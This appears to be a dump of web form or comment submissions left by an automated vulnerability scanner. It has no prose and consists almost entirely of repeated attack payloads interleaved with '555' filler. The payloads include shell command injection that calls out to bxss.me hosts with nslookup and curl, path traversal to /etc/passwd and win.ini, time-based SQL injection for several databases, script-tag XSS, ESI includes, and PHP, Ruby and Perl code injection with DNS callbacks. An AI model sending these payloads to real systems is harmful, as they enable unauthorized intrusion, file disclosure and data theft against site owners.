555

response.write(9431353*9790555)

echo eyxlcu$() gvymlznz^xyu||a #' &echo eyxlcu$() gvymlznz^xyu||a #|" &echo eyxlcu$() gvymlznz^xyu||a #

VHoNBFBO

'+response.write(9431353*9790555)+'

&echo gaylec$() sfebqznz^xyu||a #' &echo gaylec$() sfebqznz^xyu||a #|" &echo gaylec$() sfebqznz^xyu||a #

"+response.write(9431353*9790555)+"

555&echo vtlcsx$() apzwjhnz^xyu||a #' &echo vtlcsx$() apzwjhnz^xyu||a #|" &echo vtlcsx$() apzwjhnz^xyu||a #

555

|echo pwquac$() hpvtianz^xyu||a #' |echo pwquac$() hpvtianz^xyu||a #|" |echo pwquac$() hpvtianz^xyu||a #

555|echo aaaluv$() asitplnz^xyu||a #' |echo aaaluv$() asitplnz^xyu||a #|" |echo aaaluv$() asitplnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

(nslookup -q=cname hitovyzewfpoec21a5.bxss.me||curl hitovyzewfpoec21a5.bxss.me))

../../../../../../../../../../../../../../windows/win.ini

555
bcc:0.45-200750.45.92e37.20268.2@bxss.me

555

$(nslookup -q=cname hitimqsnczcxy679b8.bxss.me||curl hitimqsnczcxy679b8.bxss.me)

file:///etc/passwd

to@example.com>
bcc:0.45-200751.45.92e37.20268.2@bxss.me

555

&nslookup -q=cname hitujtsvcgahufe6f4.bxss.me&'"`0&nslookup -q=cname hitujtsvcgahufe6f4.bxss.me&`'

555

555

&(nslookup -q=cname hitdwxygwscgs71fdd.bxss.me||curl hitdwxygwscgs71fdd.bxss.me)&'"`0&(nslookup -q=cname hitdwxygwscgs71fdd.bxss.me||curl hitdwxygwscgs71fdd.bxss.me)&`'

../555

|(nslookup -q=cname hitxzvrsyflvgc81e3.bxss.me||curl hitxzvrsyflvgc81e3.bxss.me)

555

`(nslookup -q=cname hitylfameellla3aac.bxss.me||curl hitylfameellla3aac.bxss.me)`

555

;(nslookup -q=cname hitaqqgtnaemy734d1.bxss.me||curl hitaqqgtnaemy734d1.bxss.me)|(nslookup -q=cname hitaqqgtnaemy734d1.bxss.me||curl hitaqqgtnaemy734d1.bxss.me)&(nslookup -q=cname hitaqqgtnaemy734d1.bxss.me||curl hitaqqgtnaemy734d1.bxss.me)

555

12345'"'");|]*{
<>

555

555<esi:include src="http://bxss.me/rpb.png"/>

${10000496+9999034}

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555&n935414=v976140

555

555

555

555

)

/etc/shells

555

!(()&&!|*|*|

c:/windows/win.ini

555

^(#$!@#$)(()))******

bxss.me

555

555

555

555

'.gethostbyname(lc('hitge'.'oboorgrk5c3f8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(81).chr(105).chr(69).'

555

555

".gethostbyname(lc("hitcg"."vqjuqqlv466de.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(74).chr(119).chr(65)."

555

555

555

555

555

555

555

555

555

555

'"()

555

555

555

555'&&sleep(27*1000)*cbmjln&&'

555

555

555"&&sleep(27*1000)*qcroxe&&"

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555'||sleep(27*1000)*truxdq||'

';print(md5(31337));$a='

555

555"||sleep(27*1000)*zjgigs||"

bxss.me/t/xss.html?%00

555

555

555

";print(md5(31337));$a="

555

555

555

${@print(md5(31337))}

555

555

${@print(md5(31337))}

'.print(md5(31337)).'

555

"+"A".concat(70-3).concat(22*4).concat(111).concat(69).concat(106).concat(82)+(require"socket"
Socket.gethostbyname("hitsh"+"ydwxvrya7d329.bxss.me.")[3].to_s)+"

555

'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(117).concat(77)+(require'socket'
Socket.gethostbyname('hitcm'+'zbafixht1c636.bxss.me.')[3].to_s)+'

555

-1 OR 2+973-973-1=0+0+0+1 --

reply

-1 OR 2+822-822-1=0+0+0+1

555

555

reply

-1' OR 2+990-990-1=0+0+0+1 --

555

555

reply/.

-1' OR 2+989-989-1=0+0+0+1 or 'jOAqPUDY'='

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

-1" OR 2+866-866-1=0+0+0+1 --

555

555

xfs.bxss.me

555

555

555

555

555

555

555

555

555

'"

555

555

555'"()&%<zzz><ScRiPt >vkhC(9084)</ScRiPt>

555

555

<!--

555

555

'"()&%<zzz><ScRiPt >vkhC(9515)</ScRiPt>

555

555

555

555

5559217514

555

555

555

555

555

555

555

555

555

555

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

AysZ74gI'; waitfor delay '0:0:15' --

-5 OR 703=(SELECT 703 FROM PG_SLEEP(15))--

-5) OR 622=(SELECT 622 FROM PG_SLEEP(15))--

-1)) OR 159=(SELECT 159 FROM PG_SLEEP(15))--

n94h5GSu' OR 946=(SELECT 946 FROM PG_SLEEP(15))--

btPLzRhG') OR 511=(SELECT 511 FROM PG_SLEEP(15))--

lmZ8lM54')) OR 92=(SELECT 92 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@ecXYx

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9194881*9458291)

echo qhfeed$() nmfajdnz^xyu||a #' &echo qhfeed$() nmfajdnz^xyu||a #|" &echo qhfeed$() nmfajdnz^xyu||a #

'+response.write(9194881*9458291)+'

&echo diuzdg$() bjpmccnz^xyu||a #' &echo diuzdg$() bjpmccnz^xyu||a #|" &echo diuzdg$() bjpmccnz^xyu||a #

pu401rjX

"+response.write(9194881*9458291)+"

555&echo fpfsyz$() chaqshnz^xyu||a #' &echo fpfsyz$() chaqshnz^xyu||a #|" &echo fpfsyz$() chaqshnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

|echo iywdzt$() hkntmknz^xyu||a #' |echo iywdzt$() hkntmknz^xyu||a #|" |echo iywdzt$() hkntmknz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555|echo qqognc$() wngrybnz^xyu||a #' |echo qqognc$() wngrybnz^xyu||a #|" |echo qqognc$() wngrybnz^xyu||a #

555
bcc:0.45-214642.45.92e37.20268.2@bxss.me

file:///etc/passwd

(nslookup -q=cname hitlenazcqmoa0dc62.bxss.me||curl hitlenazcqmoa0dc62.bxss.me))

to@example.com>
bcc:0.45-214643.45.92e37.20268.2@bxss.me

555

$(nslookup -q=cname hitgbaohuifidc2d0e.bxss.me||curl hitgbaohuifidc2d0e.bxss.me)

../555

&nslookup -q=cname hitpdjtfaraeq1a6f0.bxss.me&'"`0&nslookup -q=cname hitpdjtfaraeq1a6f0.bxss.me&`'

&(nslookup -q=cname hitylpxmhhiub12568.bxss.me||curl hitylpxmhhiub12568.bxss.me)&'"`0&(nslookup -q=cname hitylpxmhhiub12568.bxss.me||curl hitylpxmhhiub12568.bxss.me)&`'

555

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup -q=cname hitialpfwzmdy99417.bxss.me||curl hitialpfwzmdy99417.bxss.me)

${10000212+10000204}

12345'"'");|]*{
<>

555

555

`(nslookup -q=cname hitoyfkxwaatl688e4.bxss.me||curl hitoyfkxwaatl688e4.bxss.me)`

;(nslookup -q=cname hitnblpresyhf46f56.bxss.me||curl hitnblpresyhf46f56.bxss.me)|(nslookup -q=cname hitnblpresyhf46f56.bxss.me||curl hitnblpresyhf46f56.bxss.me)&(nslookup -q=cname hitnblpresyhf46f56.bxss.me||curl hitnblpresyhf46f56.bxss.me)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n965580=v942241

555

/etc/shells

555

)

c:/windows/win.ini

!(()&&!|*|*|

555

bxss.me

^(#$!@#$)(()))******

'"()

555

555'&&sleep(27*1000)*aoncqr&&'

555"&&sleep(27*1000)*zjnbjt&&"

555'||sleep(27*1000)*dbehrq||'

555"||sleep(27*1000)*giyzdi||"

555

'.gethostbyname(lc('hitkk'.'phcvoapbd3fa8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(75).chr(116).chr(77).'

555

".gethostbyname(lc("hitbt"."qfyufiund14cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(79).chr(120).chr(88)."

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

bxss.me/t/xss.html?%00

555

${@print(md5(31337))}

555

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(113).concat(77).concat(117).concat(86)+(require"socket"
Socket.gethostbyname("hitnr"+"lgoiynnw9e43d.bxss.me.")[3].to_s)+"

555

'.print(md5(31337)).'

reply

'+'A'.concat(70-3).concat(22*4).concat(100).concat(69).concat(115).concat(81)+(require'socket'
Socket.gethostbyname('hitpj'+'jboxfxslf721a.bxss.me.')[3].to_s)+'

reply

555

reply/.

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

xfs.bxss.me

'"

555'"()&%<zzz><ScRiPt >PATm(9956)</ScRiPt>

<!--

'"()&%<zzz><ScRiPt >PATm(9908)</ScRiPt>

5559311805

555

-1 OR 2+161-161-1=0+0+0+1 --

-1 OR 2+797-797-1=0+0+0+1

-1' OR 2+346-346-1=0+0+0+1 --

555

-1' OR 2+190-190-1=0+0+0+1 or 'GvHpqWn8'='

-1" OR 2+955-955-1=0+0+0+1 --

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

TXWQG76Z'; waitfor delay '0:0:15' --

-5 OR 195=(SELECT 195 FROM PG_SLEEP(15))--

-5) OR 741=(SELECT 741 FROM PG_SLEEP(15))--

-1)) OR 190=(SELECT 190 FROM PG_SLEEP(15))--

7PWUbYFR' OR 263=(SELECT 263 FROM PG_SLEEP(15))--

gbR3xq2y') OR 698=(SELECT 698 FROM PG_SLEEP(15))--

1f32j1pp')) OR 12=(SELECT 12 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@medyn

555

555

555

555

555

555

555